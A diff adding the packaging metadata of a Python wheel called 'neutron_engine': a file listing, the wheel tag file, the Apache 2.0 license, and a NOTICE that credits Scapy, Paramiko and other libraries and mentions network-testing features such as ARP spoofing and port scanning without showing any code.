+NeutronEngine/VisionNeutron/SniffNeutron.py,sha256=fbz8MmeKUgvdC59RRKUrRvISnwdkt-ilTxuCMexWlNs,1573
+NeutronEngine/VisionNeutron/__init__.py,sha256=DkwMtLARff_WkjzQpTz1wwAU3b0SfHA_Vx7GDckjDkE,245
+neutron_engine-0.1.0.dist-info/licenses/LICENSE,sha256=friAp9Q77P17-rZ_SJbfG1GgyNC8_7sdYlJw9sJ2yCs,11540
+neutron_engine-0.1.0.dist-info/licenses/NOTICE,sha256=31jaqN6VxLp_ektHFKuyzq9fXtvgh-WKFXaezmtSzWw,1356
+neutron_engine-0.1.0.dist-info/METADATA,sha256=hyNgIB7j3sYlYDa6TE4KNRM9j7tpRMYalrQm5hae62I,2992
+neutron_engine-0.1.0.dist-info/WHEEL,sha256=aeYiig01lYGDzBgS8HxWXOg3uV61G9ijOsup-k9o1sk,91
+neutron_engine-0.1.0.dist-info/top_level.txt,sha256=I32LaUQBUP2dTHjMH0WuAwjBC9lzXDGad_fEkDSdl5c,14
+neutron_engine-0.1.0.dist-info/RECORD,,

neutron_engine-0.1.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (82.0.1)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

neutron_engine-0.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2026 Alexx-coder
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

neutron_engine-0.1.0.dist-info/licenses/NOTICE

@@ -0,0 +1,42 @@
+Neutron Engine
+Copyright (c) 2026 Alexx-coder
+All rights reserved.
+
+This product includes software developed by:
+- Alexx-coder (https://github.com/Alexx-coder)
+
+================================================================================
+
+Third-party components:
+
+1. Scapy
+   Copyright (c) 2002-2025 Philippe Biondi and the Scapy community
+   Licensed under the GNU General Public License v2.0 (GPL-2.0)
+   Source: https://github.com/secdev/scapy
+
+2. Paramiko
+   Copyright (c) 2003-2024 Jeff Forcier and the Paramiko contributors
+   Licensed under the GNU Lesser General Public License v2.1 (LGPL-2.1)
+   Source: https://github.com/paramiko/paramiko
+
+3. Netifaces
+   Copyright (c) 2011-2024 Alastair Houghton
+   Licensed under the MIT License
+   Source: https://github.com/al45tair/netifaces
+
+4. Requests
+   Copyright (c) 2019 Kenneth Reitz
+   Licensed under the Apache License, Version 2.0
+   Source: https://github.com/psf/requests
+
+
+
+================================================================================
+
+Additional notices:
+
+- Neutron Engine includes code for network packet manipulation, ARP spoofing,
+  port scanning, and socket communication. Use responsibly and only on
+  systems you own or have explicit permission to test.
+
+- This software is provided "AS IS", without warranty of any kind.

neutron_engine-0.1.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+NeutronEngine